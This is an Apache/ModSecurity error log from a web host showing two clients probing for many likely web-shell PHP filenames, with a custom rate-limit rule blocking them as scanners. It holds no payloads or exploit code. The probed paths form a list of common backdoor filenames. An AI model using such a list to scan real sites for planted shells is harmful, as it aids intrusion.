[Thu Apr 16 22:07:37.602337 2026] [:error] [pid 57639:tid 57666] [client 158.158.35.197:2524] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeDtKaMCQoTw7TsxWunU-AAAANQ"]
[Thu Apr 16 22:07:38.696976 2026] [:error] [pid 57639:tid 57646] [client 158.158.35.197:27346] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeDtKqMCQoTw7TsxWunU_gAAAMA"]
[Thu Apr 16 22:07:45.738188 2026] [:error] [pid 29603:tid 29629] [client 158.158.35.197:25362] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeDtMVfGOR6fpTWUAzql8QAAARg"]
[Thu Apr 16 22:07:47.442920 2026] [:error] [pid 7880:tid 7908] [client 158.158.35.197:22024] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeDtM6aezm4fSGc0yUK8CAAAAZc"]
[Thu Apr 16 22:07:48.374464 2026] [:error] [pid 49094:tid 49101] [client 158.158.35.197:31257] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeDtNDbDwvcXorHR_Mz79QAAAUU"]
[Thu Apr 16 22:07:49.500685 2026] [:error] [pid 49094:tid 49097] [client 158.158.35.197:31270] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeDtNTbDwvcXorHR_Mz7-AAAAUE"]
[Thu Apr 16 22:07:50.572477 2026] [:error] [pid 57639:tid 57655] [client 158.158.35.197:25386] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeDtNqMCQoTw7TsxWunVHgAAAMk"]
[Thu Apr 16 22:07:52.582876 2026] [:error] [pid 57536:tid 57560] [client 158.158.35.197:20574] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeDtOCQU4faGja6jpDuUdgAAAAw"]
[Thu Apr 16 22:07:54.692095 2026] [:error] [pid 57538:tid 57625] [client 158.158.35.197:27332] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeDtOsuMaiEF5SVR2BfvSgAAAJc"]
[Thu Apr 16 22:07:55.517867 2026] [:error] [pid 57538:tid 57624] [client 158.158.35.197:25109] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeDtO8uMaiEF5SVR2BfvTwAAAJY"]
[Thu Apr 16 22:07:56.820663 2026] [:error] [pid 57538:tid 57609] [client 158.158.35.197:26493] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeDtPMuMaiEF5SVR2BfvUQAAAIc"]
[Thu Apr 16 22:07:57.566388 2026] [:error] [pid 49094:tid 49098] [client 158.158.35.197:25388] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeDtPTbDwvcXorHR_Mz8CwAAAUI"]
[Thu Apr 16 22:07:59.542892 2026] [:error] [pid 49094:tid 49096] [client 158.158.35.197:22039] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeDtPzbDwvcXorHR_Mz8EQAAAUA"]
[Thu Apr 16 22:08:00.865621 2026] [:error] [pid 57537:tid 57596] [client 158.158.35.197:43310] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeDtQFVQRS8nm73ENAnBegAAAFU"]
[Thu Apr 16 22:08:02.771149 2026] [:error] [pid 49094:tid 49101] [client 158.158.35.197:30250] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeDtQjbDwvcXorHR_Mz8FQAAAUU"]
[Fri Apr 17 00:03:34.450620 2026] [proxy_fcgi:error] [pid 43387:tid 43449] [client 158.158.73.200:59632] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:03:34.706722 2026] [proxy_fcgi:error] [pid 43387:tid 43448] [client 158.158.73.200:59632] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:03:34.949909 2026] [proxy_fcgi:error] [pid 43387:tid 43454] [client 158.158.73.200:59632] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:03:35.212658 2026] [proxy_fcgi:error] [pid 43387:tid 43453] [client 158.158.73.200:59632] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:03:35.455210 2026] [proxy_fcgi:error] [pid 43387:tid 43472] [client 158.158.73.200:59632] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:03:35.698785 2026] [proxy_fcgi:error] [pid 43387:tid 43476] [client 158.158.73.200:59632] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:03:35.941323 2026] [proxy_fcgi:error] [pid 43387:tid 43466] [client 158.158.73.200:59632] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:03:36.306467 2026] [proxy_fcgi:error] [pid 43387:tid 43470] [client 158.158.73.200:59632] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:03:36.793425 2026] [proxy_fcgi:error] [pid 43387:tid 43475] [client 158.158.73.200:59632] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:03:37.032805 2026] [:error] [pid 43387:tid 43449] [client 158.158.73.200:59632] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeEIWSBNsONqHxWTakUYAAAAAIE"]
[Fri Apr 17 00:03:37.847345 2026] [:error] [pid 43482:tid 43491] [client 158.158.73.200:59998] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeEIWT9SZnuKxlHrct1irQAAAMc"]
[Fri Apr 17 00:03:38.589608 2026] [:error] [pid 43387:tid 43458] [client 158.158.73.200:59977] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeEIWiBNsONqHxWTakUYBQAAAIc"]
[Fri Apr 17 00:03:39.288844 2026] [:error] [pid 43386:tid 43434] [client 158.158.73.200:24368] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeEIW-91GAVgUfhPVDGhGQAAAE4"]
[Fri Apr 17 00:03:39.984736 2026] [:error] [pid 43385:tid 43401] [client 158.158.73.200:47156] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeEIW8nIxkJaUI8KNs7mtAAAAAw"]
[Fri Apr 17 00:03:41.128819 2026] [:error] [pid 43387:tid 43467] [client 158.158.73.200:51804] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeEIXSBNsONqHxWTakUYCgAAAI4"]
[Fri Apr 17 00:03:41.827755 2026] [:error] [pid 43386:tid 43444] [client 158.158.73.200:24422] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeEIXe91GAVgUfhPVDGhJAAAAFc"]
[Fri Apr 17 00:03:42.737926 2026] [:error] [pid 43386:tid 43441] [client 158.158.73.200:24410] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeEIXu91GAVgUfhPVDGhJgAAAFQ"]
[Fri Apr 17 00:03:43.829468 2026] [:error] [pid 43482:tid 43503] [client 158.158.73.200:47127] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeEIXz9SZnuKxlHrct1iuQAAANM"]
[Fri Apr 17 00:03:44.523344 2026] [:error] [pid 43482:tid 43498] [client 158.158.73.200:60029] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeEIYD9SZnuKxlHrct1iugAAAM4"]
[Fri Apr 17 00:03:45.621468 2026] [:error] [pid 43386:tid 43431] [client 158.158.73.200:51786] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeEIYe91GAVgUfhPVDGhLgAAAEs"]
[Fri Apr 17 00:03:46.456714 2026] [:error] [pid 43386:tid 43436] [client 158.158.73.200:59623] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeEIYu91GAVgUfhPVDGhMgAAAFA"]
[Fri Apr 17 00:03:47.169555 2026] [:error] [pid 43385:tid 43393] [client 158.158.73.200:59647] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeEIY8nIxkJaUI8KNs7myAAAAAQ"]
[Fri Apr 17 00:03:47.860971 2026] [:error] [pid 43482:tid 43507] [client 158.158.73.200:59975] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeEIYz9SZnuKxlHrct1iwAAAANc"]
[Fri Apr 17 00:03:49.371051 2026] [:error] [pid 43387:tid 43471] [client 158.158.73.200:24446] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeEIZSBNsONqHxWTakUYDwAAAJI"]
[Fri Apr 17 00:03:50.101703 2026] [:error] [pid 43387:tid 43475] [client 158.158.73.200:64056] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeEIZiBNsONqHxWTakUYEAAAAJY"]
[Fri Apr 17 00:03:51.882796 2026] [:error] [pid 43387:tid 43453] [client 158.158.73.200:24334] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeEIZyBNsONqHxWTakUYFwAAAIM"]
[Fri Apr 17 00:03:53.486924 2026] [:error] [pid 43385:tid 43403] [client 158.158.73.200:64002] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeEIacnIxkJaUI8KNs7m2gAAAA4"]
[Fri Apr 17 00:03:54.433025 2026] [:error] [pid 43385:tid 43413] [client 158.158.73.200:51790] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeEIasnIxkJaUI8KNs7m5gAAABc"]
[Fri Apr 17 00:03:55.276525 2026] [:error] [pid 43386:tid 43425] [client 158.158.73.200:51791] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeEIa-91GAVgUfhPVDGhPwAAAEU"]
[Fri Apr 17 00:03:56.717745 2026] [:error] [pid 43386:tid 43443] [client 158.158.73.200:51781] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeEIbO91GAVgUfhPVDGhRAAAAFY"]
[Fri Apr 17 00:03:57.532640 2026] [:error] [pid 43482:tid 43493] [client 158.158.73.200:24395] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeEIbT9SZnuKxlHrct1i1gAAAMk"]
[Fri Apr 17 00:03:58.752726 2026] [:error] [pid 43482:tid 43485] [client 158.158.73.200:59591] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeEIbj9SZnuKxlHrct1i4gAAAME"]
[Fri Apr 17 00:03:59.728047 2026] [:error] [pid 43482:tid 43508] [client 158.158.73.200:60025] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeEIbz9SZnuKxlHrct1i5AAAANg"]
[Fri Apr 17 00:04:00.494812 2026] [:error] [pid 43387:tid 43460] [client 158.158.73.200:18890] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeEIcCBNsONqHxWTakUYLwAAAIk"]
[Fri Apr 17 00:04:01.531411 2026] [:error] [pid 43386:tid 43443] [client 158.158.73.200:59605] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeEIce91GAVgUfhPVDGhUwAAAFY"]
[Fri Apr 17 00:04:02.271775 2026] [:error] [pid 43482:tid 43507] [client 158.158.73.200:64011] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeEIcj9SZnuKxlHrct1i8QAAANc"]
[Fri Apr 17 00:04:02.965029 2026] [:error] [pid 43387:tid 43454] [client 158.158.73.200:47108] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeEIciBNsONqHxWTakUYNwAAAIQ"]
[Fri Apr 17 00:04:03.614096 2026] [:error] [pid 43387:tid 43469] [client 158.158.73.200:24392] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeEIcyBNsONqHxWTakUYOwAAAJA"]
[Fri Apr 17 00:04:04.319368 2026] [:error] [pid 43386:tid 43429] [client 158.158.73.200:64009] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeEIdO91GAVgUfhPVDGhVQAAAEk"]
[Fri Apr 17 00:04:05.052537 2026] [:error] [pid 43386:tid 43441] [client 158.158.73.200:59978] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeEIde91GAVgUfhPVDGhWQAAAFQ"]
[Fri Apr 17 00:04:06.096152 2026] [:error] [pid 43387:tid 43476] [client 158.158.73.200:47142] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeEIdiBNsONqHxWTakUYRAAAAJc"]
[Fri Apr 17 00:04:06.824802 2026] [:error] [pid 43386:tid 43428] [client 158.158.73.200:24434] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeEIdu91GAVgUfhPVDGhXAAAAEg"]
[Fri Apr 17 00:04:07.590300 2026] [:error] [pid 43386:tid 43422] [client 158.158.73.200:24322] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeEId-91GAVgUfhPVDGhXQAAAEI"]
[Fri Apr 17 00:04:08.164459 2026] [:error] [pid 43385:tid 43393] [client 158.158.73.200:64020] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeEIeMnIxkJaUI8KNs7m-gAAAAQ"]
[Fri Apr 17 00:04:09.050939 2026] [:error] [pid 43386:tid 43436] [client 158.158.73.200:24364] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeEIee91GAVgUfhPVDGhXgAAAFA"]
[Fri Apr 17 00:04:10.116205 2026] [:error] [pid 43387:tid 43473] [client 158.158.73.200:47119] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeEIeiBNsONqHxWTakUYTQAAAJQ"]
[Fri Apr 17 00:04:11.547092 2026] [:error] [pid 43387:tid 43448] [client 158.158.73.200:60007] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeEIeyBNsONqHxWTakUYUQAAAIA"]
[Fri Apr 17 00:04:12.152331 2026] [:error] [pid 43482:tid 43502] [client 158.158.73.200:59995] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeEIfD9SZnuKxlHrct1jBAAAANI"]
